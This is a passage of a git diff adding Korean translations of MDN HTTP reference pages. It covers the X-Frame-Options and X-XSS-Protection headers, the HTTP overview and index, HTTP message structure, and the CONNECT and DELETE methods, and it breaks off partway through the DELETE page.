다음을 추가합니다.</p> + +<pre>rspadd X-Frame-Options:\ sameorigin</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7034")}}</td> + <td>HTTP Header Field X-Frame-Options</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-Frame-Options")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li> + <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li> + <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li> + <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors">CSP Level 2 frame-ancestors directive</a></li> +</ul> diff --git a/files/ko/web/http/headers/x-xss-protection/index.html b/files/ko/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..9248414264 --- /dev/null +++ b/files/ko/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,83 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +<div>{{HTTPSidebar}}</div> + + + +<p>HTTP <strong><code>X-XSS-Protection</code></strong>헤더는 Internet Explorer, Chrome 및 Safari에서 제공하는 기능으로서, ({{Glossary("XSS")}}) 공격을 감지 할 때 페이지 로드를 중지시킬 수 있습니다. 최신 브라우저에서는 Inline Javascript(<code>'unsafe-inline')</code>사용을 못하게 하는 CSP(Content-Security-Policy) 보호기능이 있으나, 해당 기능을 지원하지 않는 구형 웹브라우저에서 사용자를 보호 할수 있는 기능을 제공할 수 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox notranslate">X-XSS-Protection: 0 +X-XSS-Protection: 1 +X-XSS-Protection: 1; mode=block +X-XSS-Protection: 1; report=<reporting-uri> +</pre> + +<dl> + <dt>0</dt> + <dd>XSS 필터링을 비활성화합니다.</dd> + <dt>1</dt> + <dd>XSS 필터링을 사용합니다 (일반적으로 브라우저의 기본값입니다). 사이트 내에서 스크립팅 공격이 감지되면 브라우저는 안전하지 않은 영역을 제거 후에 렌더링을 하게 됩니다.</dd> + <dt>1; mode=block</dt> + <dd>XSS 필터링을 사용합니다. 공격이 탐지되면 안전하지 않는 영역을 제거하는게 아니라, 페이지 렌더링을 중단합니다.</dd> + <dt>1; report=<reporting-URI> (Chromium에서만 사용 가능)</dt> + <dd>XSS 필터링을 사용합니다. XSS 공격을 탐지하면 브라우저는 페이지 렌더링을 차단하고 위반 사항을 보고합니다. 이것은 CSP {{CSP ( "report-uri")}} 지시문의 기능을 사용하여 보고서를 보냅니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<p>XSS 공격을 감지하면 페이지로드를 차단합니다.</p> + +<pre class="brush: bash notranslate">X-XSS-Protection: 1; mode=block</pre> + +<p>PHP</p> + +<pre class="brush: php notranslate">header("X-XSS-Protection: 1; mode=block");</pre> + +<p>Apache (.htaccess)</p> + +<pre class="brush: bash notranslate"><IfModule mod_headers.c> + Header set X-XSS-Protection "1; mode=block" +</IfModule></pre> + +<p>Nginx</p> + +<pre class="brush: bash notranslate">add_header "X-XSS-Protection" "1; mode=block";</pre> + +<h2 id="Specifications">Specifications</h2> + +<p>Not part of any specifications or drafts.</p> + +<h2 id="지원_브라우저">지원 브라우저</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-XSS-Protection")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li> + <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li> + <li> + <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p> + </li> +</ul> diff --git a/files/ko/web/http/index.html b/files/ko/web/http/index.html new file mode 100644 index 0000000000..8c417d355c --- /dev/null +++ b/files/ko/web/http/index.html @@ -0,0 +1,87 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - CORS + - HTTP + - Reference + - TCP/IP + - Web + - 'l10n:priority' +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong><dfn>하이퍼텍스트 전송 프로토콜(HTTP)</dfn></strong><dfn>은 HTML과 같은 하이퍼미디어 문서를 전송하기위한 </dfn><a href="https://en.wikipedia.org/wiki/Application_Layer">애플리케이션 레이어</a> 프로토콜입니다. 웹 브라우저와 웹 서버간의 커뮤니케이션을위해 디자인되었지만, 다른 목적으로도 사용될 수 있습니다. HTTP는 클라이언트가 요청을 생성하기 위한 연결을 연다음 응답을 받을때 까지 대기하는 전통적인 <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">클라이언트-서버 모델</a>을 따릅니다. HTTP는 <a href="https://en.wikipedia.org/wiki/Stateless_protocol">무상태 프로토콜</a>이며, 이는 서버가 두 요청간에 어떠한 데이터(상태)도 유지하지 않음을 의미합니다. 일반적으로 안정적인 <a href="https://en.wikipedia.org/wiki/Transport_Layer">전송 레이어</a>로 UDP와 달리 메세지를 잃지 않는 프로토콜인 TCP/IP 레이어를 기반으로 사용 합니다. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a> — 안정적인 업데이트인 UDP의 적합한 대안 입니다.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="자습서">자습서</h2> + +<p>가이드와 튜토리얼을 통해 HTTP를 사용하는 방법을 배워보세요.</p> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP 개요</a></dt> + <dd>클라이언트-서버 프로토콜의 기본 기능들: 할 수 있는 것과 의도된 용도.</dd> + <dt><a href="/ko/docs/Web/HTTP/Caching">HTTP 캐시</a></dt> + <dd>캐싱은 빠른 웹 사이트를 위해 아주 중요합니다. 이 글은 여러 캐싱 방법과 HTTP 헤더를 사용하여 이를 제어하는 방법을 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a></dt> + <dd>쿠키가 동작하는 방식은 <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>에서 정의합니다. HTTP 요청을 제공할 때, 서버는 응답과 함께 <code>Set-Cookie</code> HTTP 헤더를 전송합니다. 그 다음에 클라이언트는 모든 요청과 함께 쿠키의 값을 <code>Cookie</code> 요청 헤더의 형태로 동일한 서버에 반환합니다. 쿠키는 특정 날짜에 만료되도록 설정하거나 특정 도메인 및 경로에 제한되도록 설정할수도 있습니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/CORS">교차 출처 리소스 공유(CORS)</a></dt> + <dd><strong>교차 사이트 HTTP 요청</strong>은 요청을 생성한 리소스의 도메인과 <strong>다른 도메인</strong>의 리소스에 대한 HTTP 요청입니다. 예를 들면, 도메인 A(<code>http://domaina.example/</code>)의 HTML 페이지가 <code>img</code> 엘리먼트를 통해 도메인 B(<code>http://domainb.foo/image.jpg</code>)의 이미지에대한 요청을 생성하는 것입니다. 오늘날의 웹 페이지가 CSS 스타일시트, 이미지, 스크립트 등을 포함하는 교차-사이트 리소스을 로드하는 것을 아주 흔하게 볼 수 있습니다. CORS를 통해 웹 개발자는 그들의 사이트가 교차-사이트 요청에 대해 어떻게 반응할지 제어할 수 있습니다.</dd> +</dl> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt> + <dd>초기 버전의 HTTP와 최신 HTTP/2 이후의 변경 사항에 대한 간략한 설명입니다.</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla 웹 보안 가이드라인</a></dt> + <dd>안전한 웹 어플리케이션을 생성하는 운영 팀에 도움이되는 팁 모음입니다.</dd> +</dl> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt> + <dd>HTTP/1.x와 HTTP/2의 다양한 종류의 메시지 타입과 구조에 대해 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Session">전형적인 HTTP 세션</a></dt> + <dd>일반적인 HTTP 세션의 흐름을 보여주고 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 연결 관리</a></dt> + <dd>HTTP/1.x에서 사용가능한 세 가지 연결 관리 모델과 그 장단점을 설명합니다.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="참고서">참고서</h2> + +<p>상세한 HTTP 참고서를 살펴보세요.</p> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></dt> + <dd>HTTP 메시지 헤더는 리소스 또는 서버나 클라이언트의 동작을 설명하는데 사용됩니다. 커스텀 등록 헤더는 <code>X-</code>를 앞에 붙여 추가할 수 있습니다. 그 외에는 원본 컨텐츠가 <a href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의된 <a href="https://www.iana.org/assignments/message-headers/message-headers.xhtml#perm-headers">IANA 레지스트리</a>에 있습니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></dt> + <dd>HTTP로 수행할 수 있는 여러 작업: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 요청 및 덜 자주 사용되는 {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("TRACE")}} 요청.</dd> + <dt><a href="/ko/docs/Web/HTTP/Response_codes">HTTP 상태 응답 코드</a></dt> + <dd>HTTP 응답 코드는 지정한 HTTP 요청이 성공적으로 완료되었는지를 나타냅니다. 응답은 다섯 가지 클래스로 그룹핑됩니다: 정보성 응답, 성공 응답, 리다이렉트, 클라이언트 에러, 서버 에러.</dd> +</dl> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy">CSP 지시문</a></dt> + <dd>{{HTTPHeader("Content-Security-Policy")}} 응답 헤더 필드는 주어진 페이지를 로드하기 위해 유저 에이전트가 허용한 리소스를 웹 사이트 관리자가 제어할 수 있도록 해줍니다. 몇 가지 예외를 제외하고, 대부분의 정책은 서버 오리진과 스크립트 엔드포인트 지정을 포함합니다.</dd> +</dl> + +<h2 id="도구_리소스">도구 & 리소스</h2> + +<p>HTTP를 이해하고 디버깅하는데 도움이되는 도구와 리소스.</p> + +<dl> + <dt><a href="/ko/docs/Tools">Firefox 개발자 도구</a></dt> + <dd><a href="/ko/docs/Tools/Network_Monitor">네트워크 모니터</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd> + <p>개발자, 시스템 관리자, 보안 전문가가 사이트를 안전하게 구성하는 것을 돕기위해 디자인된 프로젝트.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>캐시 관련 헤더를 확인하는 도구</dd> + <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">브라우저가 동작하는 방식</a></dt> + <dd>브라우저 내부와 HTTP 프로토콜을 통한 요청 흐름에 대한 아주 이해하기 쉬운 문서. 웹 개발자라면 필독.</dd> +</dl> +</div> +</div> diff --git a/files/ko/web/http/index/index.html b/files/ko/web/http/index/index.html new file mode 100644 index 0000000000..ffd7a593f4 --- /dev/null +++ b/files/ko/web/http/index/index.html @@ -0,0 +1,11 @@ +--- +title: HTTP 색인 +slug: Web/HTTP/Index +tags: + - HTTP + - Index +translation_of: Web/HTTP/Index +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Index("/ko/docs/Web/HTTP")}}</p> diff --git a/files/ko/web/http/messages/index.html b/files/ko/web/http/messages/index.html new file mode 100644 index 0000000000..2493d11b64 --- /dev/null +++ b/files/ko/web/http/messages/index.html @@ -0,0 +1,147 @@ +--- +title: HTTP 메시지 +slug: Web/HTTP/Messages +tags: + - Guide + - HTTP + - HTTP/1.1 + - HTTP/2 + - Response + - request +translation_of: Web/HTTP/Messages +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 메시지는 서버와 클라이언트 간에 데이터가 교환되는 방식입니다. 메시지 타입은 두 가지가 있습니다. 요청(<em>request)은 </em>클라이언트가 서버로 전달해서 서버의 액션이 일어나게끔 하는 메시지고, 응답(<em>response)은 요청</em>에 대한 서버의 답변입니다.</p> + +<p>HTTP 메시지는 ASCII로 인코딩된 텍스트 정보이며 여러 줄로 되어 있습니다. HTTP 프로토콜 초기 버전과 HTTP/1.1에서는 클라이언트와 서버 사이의 연결을 통해 공개적으로 전달되었습니다. 이렇게 한 때 사람이 읽을 수 있었던 메시지는 HTTP/2에서는 최적화와 성능 향상을 위해 HTTP 프레임으로 나누어집니다.</p> + +<p>웹 개발자, 또는 웹 마스터가 손수 HTTP 메시지를 텍스트로 작성하는 경우는 드뭅니다. 대신에 소프트웨어, 브라우저, 프록시, 또는 웹 서버가 그 일을 합니다. HTTP 메시지는 설정 파일(프록시 혹은 서버의 경우), API(브라우저의 경우), 혹은 다른 인터페이스를 통해 제공됩니다.</p> + +<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p> + +<p>HTTP/2의 이진 프레이밍 메커니즘(binary framing mechanism)은 사용 중인 API나 설정 파일 등을 변경하지 않아도 되도록 설계 되었기 때문에, 사용자가 보고 이해하기 쉽습니다.</p> + +<p>HTTP 요청과 응답의 구조는 서로 닮았으며, 그 구조는 다음과 같습니다.</p> + +<ol> + <li>시작 줄(start-line)에는 실행되어야 할 요청, 또은 요청 수행에 대한 성공 또는 실패가 기록되어 있습니다. 이 줄은 항상 한 줄로 끝납니다.</li> + <li>옵션으로 HTTP 헤더 세트가 들어갑니다. 여기에는 요청에 대한 설명, 혹은 메시지 본문에 대한 설명이 들어갑니다.</li> + <li>요청에 대한 모든 메타 정보가 전송되었음을 알리는 빈 줄(blank line)이 삽입됩니다.</li> + <li>요청과 관련된 내용(HTML 폼 콘텐츠 등)이 옵션으로 들어가거나, 응답과 관련된 문서(document)가 들어갑니다. 본문의 존재 유무 및 크기는 첫 줄과 HTTP 헤더에 명시됩니다.</li> +</ol> + +<p>HTTP 메시지의 시작 줄과 HTTP 헤더를 묶어서 요청 <em>헤드(head)라고 부르며</em>, 이와 반대로 HTTP 메시지의 페이로드는 <em>본문(body)</em>이라고 합니다.</p> + +<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p> + +<h2 id="HTTP_요청">HTTP 요청</h2> + +<h3 id="시작_줄">시작 줄</h3> + +<p>HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라이언트에서 전송하는 메시지입니다. 시작 줄은 다음과 같이 세 가지 요소로 이루어져 있습니다.</p> + +<ol> + <li>첫번째는 <em><a href="/en-US/docs/Web/HTTP/Methods">HTTP 메서드</a>로</em>, 영어 동사({{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}},{{HTTPMethod("POST")}}) 혹은 명사({{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}})를 사용해 서버가 수행해야 할 동작을 나타냅니다. 예를 들어, <code>GET</code>은 리소스를 클라이언트로 가져다 달라는 것을 뜻하며, <code>POST</code>는 데이터가 서버로 들어가야 함을 의미(리소스를 새로 만들거나 수정하기 위해, 또는 클라이언트로 돌려 보낼 임시 문서를 생성하기 위해)합니다.</li> + <li>두번째로 오는 요청 타겟은 주로 {{glossary("URL")}}, 또는 프로토콜, 포트, 도메인의 절대 경로로 나타낼 수도 있으며 이들은 요청 컨텍스트에 의해 특정지어 집니다. 요청 타겟 포맷은 HTTP 메소드에 따라 달라집니다. 포맷에는 다음과 같은 것들이 있습니다. + <ul> + <li>origin 형식: 끝에 <code>'?'</code>와 쿼리 문자열이 붙는 절대 경로입니다. 이는 가장 일반적인 형식이며, <code>GET</code>, <code>POST</code>, <code>HEAD</code>, <code>OPTIONS</code> 메서드와 함께 사용합니다.<br> + <code>POST / HTTP 1.1<br> + GET /background.png HTTP/1.0<br> + HEAD /test.html?query=alibaba HTTP/1.1<br> + OPTIONS /anypage.html HTTP/1.0</code></li> + <li><em>absolute 형식: 완전한 URL 형식입니다.</em> 프록시에 연결하는 경우 대부분 <code>GET</code>과 함께 사용됩니다.<br> + <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li> + <li><em>authority 형식: </em>도메인 이름 및 옵션 포트(<code>':'</code>가 앞에 붙습니다)로 이루어진 URL의 authority component 입니다. HTTP 터널을 구축하는 경우에만 <code>CONNECT</code>와 함께 사용할 수 있습니다.<br> + <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li> + <li><em>asterisk 형식: </em><code>OPTIONS</code>와 함께 별표(<code>'*'</code>) 하나로 간단하게 서버 전체를 나타냅니다. <br> + <code>OPTIONS * HTTP/1.1</code></li> + </ul> + </li> + <li>마지막으로 <em>HTTP 버전이 들어갑니다. 메시지의 남은</em> 구조를 결정하기 때문에, 응답 메시지에서 써야 할 HTTP 버전을 알려주는 역할을 합니다.</li> +</ol> + +<h3 id="헤더">헤더</h3> + +<p>요청에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP 헤더의 기본 구조를 따릅니다. 대소문자 구분없는 문자열 다음에 콜론(<code>':'</code>)이 붙으며, 그 뒤에 오는 값은 헤더에 따라 달라집니다. 헤더는 값까지 포함해 한 줄로 구성되지만 꽤 길어질 수 있습니다.</p> + +<p>다양한 종류의 요청 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p> + +<ul> + <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li> + <li>Request 헤더: {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}와 같은 헤더는 요청의 내용을 좀 더 구체화 시키고({{HTTPHeader("Accept-Language")}}), 컨텍스를 제공하기도 하며({{HTTPHeader("Referer")}}), 조건에 따른 제약 사항을 가하기도 하면서({{HTTPHeader("If-None")}}) 요청 내용을 수정합니다.</li> + <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li> +</ul> + +<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p> + +<h3 id="본문">본문</h3> + +<p>본문은 요청의 마지막 부분에 들어갑니다. 모든 요청에 본문이 들어가지는 않습니다. <code>GET</code>, <code>HEAD</code>, <code>DELETE</code> , <code>OPTIONS</code>처럼 리소스를 가져오는 요청은 보통 본문이 필요가 없습니다. 일부 요청은 업데이트를 하기 위해 서버에 데이터를 전송합니다. 보통 (HTML 폼 데이터를 포함하는) <code>POST</code> 요청일 경우에 그렇습니다.</p> + +<p>넓게 보면 본문은 두가지 종류로 나뉩니다.</p> + +<ul> + <li>단일-리소스 본문(single-resource bodies): 헤더 두 개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의된 단일 파일로 구성됩니다.</li> + <li>다중-리소스 본문(multiple-resource bodies): 멀티파트 본문으로 구성되는 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>에서는 파트마다 다른 정보를 지니게 됩니다. 보통 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>과 관련이 있습니다.</li> +</ul> + +<h2 id="HTTP_응답">HTTP 응답</h2> + +<h3 id="상태_줄">상태 줄</h3> + +<p>HTTP 응답의 시작 줄은 <em>상태 줄(status line)</em>이라고 불리며, 다음과 같은 정보를 가지고 있습니다.</p> + +<ol> + <li><em>프로토콜 버전: </em>보통 <code>HTTP/1.1</code>입니다.</li> + <li>상태 코드: 요청의 성공 여부를 나타냅니다. {{HTTPStatus("200")}}, {{HTTPStatus("404")}} 혹은 {{HTTPStatus("302")}}입니다.</li> + <li>상태 텍스트: 짧고 간결하게 상태 코드에 대한 설명을 글로 나타내어 사람들이 HTTP 메시지를 이해할 때 도움이 됩니다.</li> +</ol> + +<p>상태 줄은 일반적으로 <code>HTTP/1.1 404 Not Found.</code> 같이 생겼습니다.</p> + +<h3 id="헤더_2">헤더</h3> + +<p>응답에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 다른 헤더와 동일한 구조를 따릅니다. 대소문자를 구분하지 않는 문자열 다음에 콜론(<code>':'</code>)이 오며, 그 뒤에 오는 값은 구조가 헤더에 따라 달라집니다. 헤더는 값을 포함해 전체를 한 줄로 표시합니다.</p> + +<p>다양한 종류의 응답 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p> + +<ul> + <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li> + <li>Response 헤더: {{HTTPHeader("Vary")}}와 {{HTTPHeader("Accept-Ranges")}}와 같은 헤더는 상태 줄에 미처 들어가지 못했던 서버에 대한 추가 정보를 제공합니다.</li> + <li>Entity 헤더: {{HTTPHeader("Content-Length")}}와 같은 헤더는 요청 본문에 적용됩니다. 당연히 요청 내에 본문이 없는 경우 entity 헤더는 전송되지 않습니다.</li> +</ul> + +<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p> + +<h3 id="본문_2">본문</h3> + +<p>본문은 응답의 마지막 부분에 들어갑니다. 모든 응답에 본문이 들어가지는 않습니다. {{HTTPStatus("201")}}, {{HTTPStatus("204")}}과 같은 상태 코드를 가진 응답에는 보통 본문이 없습니다.</p> + +<p>넓게 보면 본문은 세가지 종류로 나뉩니다.</p> + +<ul> + <li>이미 길이가 알려진 단일 파일로 구성된 단일-리소스 본문: 헤더 두개({{HTTPHeader("Content-Type")}}와 {{HTTPHeader("Content-Length")}})로 정의 합니다.</li> + <li>길이를 모르는 단일 파일로 구성된 단일-리소스 본문: {{HTTPHeader("Transfer-Encoding")}}가 <code>chunked</code>로 설정되어 있으며, 파일은 청크로 나뉘어 인코딩 되어 있습니다.</li> + <li>서로 다른 정보를 담고 있는 멀티파트로 이루어진 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">다중 리소스 본문</a>: 이 경우는 상대적으로 위의 두 경우에 비해 보기 힘듭니다.</li> +</ul> + +<h2 id="HTTP2_프레임">HTTP/2 프레임</h2> + +<p>HTTP/1.x 메시지는 성능상의 결함을 몇가지 내포하고 있습니다.</p> + +<ul> + <li>본문은 압축이 되지만 헤더는 압축이 되지 않습니다.</li> + <li>연속된 메시지들은 비슷한 헤더 구조를 띄기 마련인데, 그럼에도 불구하고 메시지마다 반복되어 전송되고 있습니다.</li> + <li>다중전송(multiplexing)이 불가능합니다. 서버 하나에 연결을 여러개 열어야 합니다. 적극적인(warm) TCP 연결이 소극적인(cold) TCP 연결보다 효율적인데 말이죠.</li> +</ul> + +<p>HTTP/2에서는 추가적인 단계가 도입되었습니다. HTTP/1.x 메시지를 프레임으로 나누어 스트림에 끼워 넣는 것입니다. 데이터와 헤더 프레임이 분리 되었기 때문에 헤더를 압축할 수 있습니다. 스트림 여러개를 하나로 묶을 수 있어서(이러한 과정을 멀티플렉싱이라 합니다), 기저에서 수행되는 TCP 연결이 좀 더 효율적이게 이루어집니다.</p> + +<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p> + +<p>이제 웹 개발자 입장에서는 HTTP 프레임을 매우 쉽게 살펴볼 수 있게 되었습니다. HTTP 프레임은 HTTP/2에서 추가된 단계이며, HTTP/1.1 메시지와 그 기저를 이루는 전송 프로토콜 사이를 메워주는 존재입니다. 그렇다고 해서 HTTP 프레임 때문에 개발자들이 API를 바꿔야 할 필요는 없습니다. 브라우저와 서버 둘 다 모두 HTTP 프레임을 받아 들일 수 있다면, HTTP/2가 활성화 된 후에 사용될 것입니다.</p> + +<h2 id="결론">결론</h2> + +<p>HTTP 메시지는 HTTP에서 핵심적인 역할을 합니다. 메시지 구조는 단순하게 이루어져 있으며, 확장성도 매우 좋습니다. HTTP/2 프레이밍 메커니즘 덕분에 HTTP/1.x 구문과 기저가 되는 전송 프로토콜 사이에 새로운 중간 단계가 추가 되었습니다. 프로토콜을 자체적으로 수정하지 않고 이미 입증된 메커니즘을 바탕으로 이뤄낸 것입니다.</p> diff --git a/files/ko/web/http/methods/connect/index.html b/files/ko/web/http/methods/connect/index.html new file mode 100644 index 0000000000..bf26d03d13 --- /dev/null +++ b/files/ko/web/http/methods/connect/index.html @@ -0,0 +1,86 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - HTTP + - 요청 메소드 + - 참고사항 +translation_of: Web/HTTP/Methods/CONNECT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>CONNECT</code></strong> 메소드는 요청한 리소스에 대해 양방향 연결을 시작하는 메소드입니다. 이는 터널을 열기 위해서 사용될 수 있습니다.</p> + +<p>예를 들어, <code>CONNECT</code> 메소드는 {{Glossary("SSL")}} ({{Glossary("HTTPS")}})를 사용하는 웹사이트에 접속하는데 사용될 수 있습니다. 클라이언트는 원하는 목적지와의 TCP 연결을 HTTP 프록시 서버에 요청합니다. 그러면 서버는 클라이언트를 대신하여 연결의 생성을 진행합니다. 한번 서버에 의해 연결이 수립되면, 프록시 서버는 클라이언트에 오고가는 TCP 스트림을 계속해서 프록시합니다.</p> + +<p><code>CONNECT</code>는 홉바이홉 메소드입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 +</pre> + +<h2 id="예제">예제</h2> + +<p>일부 프록시 서버는 터널을 생성하기 위해 인증을 요구할 수 있습니다. {{HTTPHeader("Proxy-Authorization")}} 헤더를 참고하세요.</p> + +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.CONNECT")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> +</ul> diff --git a/files/ko/web/http/methods/delete/index.html b/files/ko/web/http/methods/delete/index.html new file mode 100644 index 0000000000..7d27889eb9 --- /dev/null +++ b/files/ko/web/http/methods/delete/index.html @@ -0,0 +1,98 @@ +--- +title: DELETE +slug: Web/HTTP/Methods/DELETE +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/DELETE +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>DELETE</code> 메서드</strong>는 지정한 리소스를 삭제합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">요청에 본문 존재</th> + <td>May</td> + </tr> + <tr> + <th scope="row">성공 응답에 본문 존재</th> + <td>May</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe", "안전함")}}</th> + <td>No</td> + </tr> + <tr> + <th 